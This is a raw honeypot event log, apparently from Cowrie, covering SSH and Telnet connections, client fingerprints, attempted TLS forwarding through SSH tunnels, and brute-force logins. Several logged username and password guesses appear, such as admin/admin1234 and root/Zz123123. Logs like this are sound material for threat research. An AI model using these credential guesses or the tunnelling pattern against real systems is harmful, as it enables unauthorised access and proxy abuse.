{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xe4\\\\\\x85\\xe6\\xed\\xfc\\xbbE\\xdf\\xc8\\xae\\x10X \\x9aUh\\xa0\\x88.\\xc9\\x89\\x02\\x8c\\x81\\x95\\xc8&G\\xb7\\x07 \\xe4E\\x95kbjx\\xeeN\\x19\\xe9\\xd7Pu=\\x9a\\xcf\\xd2\\xaa9\\xac\\x87\\xd1P$\\xc0XP2\\x0e\\xbe%\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 -\\xc1\\xd3HV\\x11r4\\x9c9\\xda\\x19\\xcc\\x82T\\xcc\\xb5IXN\\xe40\\xd7\\x9c9\\xd6h\\x9d\\xf2\\xbb\\x9e?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf9\\xe4\\\\\\x85\\xe6\\xed\\xfc\\xbbE\\xdf\\xc8\\xae\\x10X \\x9aUh\\xa0\\x88.\\xc9\\x89\\x02\\x8c\\x81\\x95\\xc8&G\\xb7\\x07 \\xe4E\\x95kbjx\\xeeN\\x19\\xe9\\xd7Pu=\\x9a\\xcf\\xd2\\xaa9\\xac\\x87\\xd1P$\\xc0XP2\\x0e\\xbe%\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 -\\xc1\\xd3HV\\x11r4\\x9c9\\xda\\x19\\xcc\\x82T\\xcc\\xb5IXN\\xe40\\xd7\\x9c9\\xd6h\\x9d\\xf2\\xbb\\x9e?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:55.919667Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.366506Z","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.54129123687744,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.381249Z","src_ip":"172.81.62.90","session":"c47d1a2ef7b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.414495Z","src_ip":"41.90.100.147","session":"46eaac6f69bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.488467Z","src_ip":"14.103.113.53","session":"bcdd589bf4f4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.594389Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x7fm\\xb2z\\xe3\\xa4\\xf5\\xf6\\xb6\\xb6\\x08\\x9e\\xf5\\xc5B\\x91\\xd8n\\xf3R\\x87\\x0b\\xfd\\xdd\\xde.\\x7f~\\xff\\xb0\\x88 \\x87\\xa952\\x8dq\\xef>\\r\\t5;\\xf7t\\x89W\\x15^\\xb6\\x9d:\\x08\\x8cN\\xdfs\\x0eS\\xee\\xd4\\xf2&\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\xa6\\xc8\\xd7d\\x98 \\x94\\x9f\\xc8w\\xca=\\x83\\xfa\\xe3\\xa1;Q!/9\\xf5l=Ko\\x82\\xb5\\xa1\\xefv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\x7fm\\xb2z\\xe3\\xa4\\xf5\\xf6\\xb6\\xb6\\x08\\x9e\\xf5\\xc5B\\x91\\xd8n\\xf3R\\x87\\x0b\\xfd\\xdd\\xde.\\x7f~\\xff\\xb0\\x88 \\x87\\xa952\\x8dq\\xef>\\r\\t5;\\xf7t\\x89W\\x15^\\xb6\\x9d:\\x08\\x8cN\\xdfs\\x0eS\\xee\\xd4\\xf2&\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\xa6\\xc8\\xd7d\\x98 \\x94\\x9f\\xc8w\\xca=\\x83\\xfa\\xe3\\xa1;Q!/9\\xf5l=Ko\\x82\\xb5\\xa1\\xefv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.597257Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:56.938066Z","src_ip":"123.27.168.40","session":"15eccd29cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawd","password":"clawd123","message":"login attempt [clawd/clawd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:57.104699Z","src_ip":"14.103.113.53","session":"bcdd589bf4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:25:58.314426Z","src_ip":"14.103.113.53","session":"bcdd589bf4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":54630,"dst_ip":"159.203.135.109","dst_port":22,"session":"20da655ac69d","protocol":"ssh","message":"New connection: 182.93.50.90:54630 (159.203.135.109:22) [session: 20da655ac69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:01.324561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:01.331471Z","src_ip":"182.93.50.90","session":"20da655ac69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:01.549654Z","src_ip":"182.93.50.90","session":"20da655ac69d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":57543,"dst_ip":"10.17.0.5","dst_port":22,"session":"230b6475e0be","protocol":"ssh","message":"New connection: 23.148.145.132:57543 (10.17.0.5:22) [session: 230b6475e0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:02.244796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:02.252529Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:02.343929Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123123","message":"login attempt [root/Zz123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:02.442244Z","src_ip":"182.93.50.90","session":"20da655ac69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:03.658325Z","src_ip":"182.93.50.90","session":"20da655ac69d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:04.017704Z","src_ip":"89.223.69.22","session":"1be961f27040","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:04.127320Z","src_ip":"23.148.145.132","session":"230b6475e0be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46548,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2d544a68df","protocol":"telnet","message":"New connection: 172.81.62.90:46548 (159.203.135.109:23) [session: fb2d544a68df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:11.371406Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":41166,"dst_ip":"10.17.0.5","dst_port":22,"session":"f70a7079ddf2","protocol":"ssh","message":"New connection: 103.27.238.120:41166 (10.17.0.5:22) [session: f70a7079ddf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:18.457130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:26:18.461361Z","src_ip":"103.27.238.120","session":"f70a7079ddf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":[